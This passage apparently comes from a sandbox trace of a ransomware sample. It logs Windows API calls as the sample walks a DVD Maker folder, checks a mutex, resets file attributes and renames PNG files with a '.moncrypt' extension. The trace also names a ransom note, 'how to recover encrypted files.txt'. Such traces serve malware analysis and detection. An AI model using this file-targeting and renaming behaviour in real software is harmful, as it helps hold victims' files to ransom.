lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png", cchWideChar=82, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.pngd", lpUsedDefaultChar=0x0) returned 82 [0058.445] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Shatter\\NavigationUp_ButtonGraphic.pngd", lpUsedDefaultChar=0x0) returned 4 [0058.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.446] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.446] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.446] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.446] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.446] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0058.446] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.446] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.446] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.447] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.447] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.447] GlobalUnlock (hMem=0x440004) returned 0 [0058.447] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.447] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.447] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.447] GlobalUnlock (hMem=0x440004) returned 0 [0058.447] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.447] GlobalUnlock (hMem=0x44000c) returned 0 [0058.447] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.447] CharLowerBuffW (in: lpsz="NavigationUp_SelectionSubpicture.png", cchLength=0x24 | out: lpsz="navigationup_selectionsubpicture.png") returned 0x24 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.448] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png", cchWideChar=88, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.pngi", lpUsedDefaultChar=0x0) returned 88 [0058.448] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Shatter\\NavigationUp_SelectionSubpicture.pngi", lpUsedDefaultChar=0x0) returned 4 [0058.448] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.449] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.449] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.449] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.449] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.449] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.449] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png.moncrypt")) returned 0 [0058.449] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0058.449] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.450] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.450] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.450] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.450] GlobalUnlock (hMem=0x44000c) returned 0 [0058.450] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.450] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.450] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.450] GlobalUnlock (hMem=0x44000c) returned 0 [0058.450] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.450] GlobalUnlock (hMem=0x440004) returned 0 [0058.450] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.450] CharLowerBuffW (in: lpsz="shatter.png", cchLength=0xb | out: lpsz="shatter.png") returned 0xb [0058.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.450] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0x54e280 [0058.451] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.451] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.451] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.451] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png", dwFileAttributes=0x20) returned 0 [0058.451] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.451] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png.moncrypt")) returned 0 [0058.452] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0058.452] GetLastError () returned 0x12 [0058.452] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.452] GlobalLock (hMem=0x440004) returned 0x550170 [0058.452] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.452] GlobalUnlock (hMem=0x440004) returned 0 [0058.452] GlobalLock (hMem=0x440004) returned 0x550170 [0058.452] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.452] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.452] GlobalUnlock (hMem=0x440004) returned 0 [0058.452] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.452] GlobalUnlock (hMem=0x44000c) returned 0 [0058.452] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x440475e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x440475e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.452] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.452] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.452] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.452] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.452] GlobalUnlock (hMem=0x44000c) returned 0 [0058.452] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.452] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.452] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.452] GlobalUnlock (hMem=0x44000c) returned 0 [0058.453] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.453] GlobalUnlock (hMem=0x440004) returned 0 [0058.453] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.453] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x440475e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x440475e0, 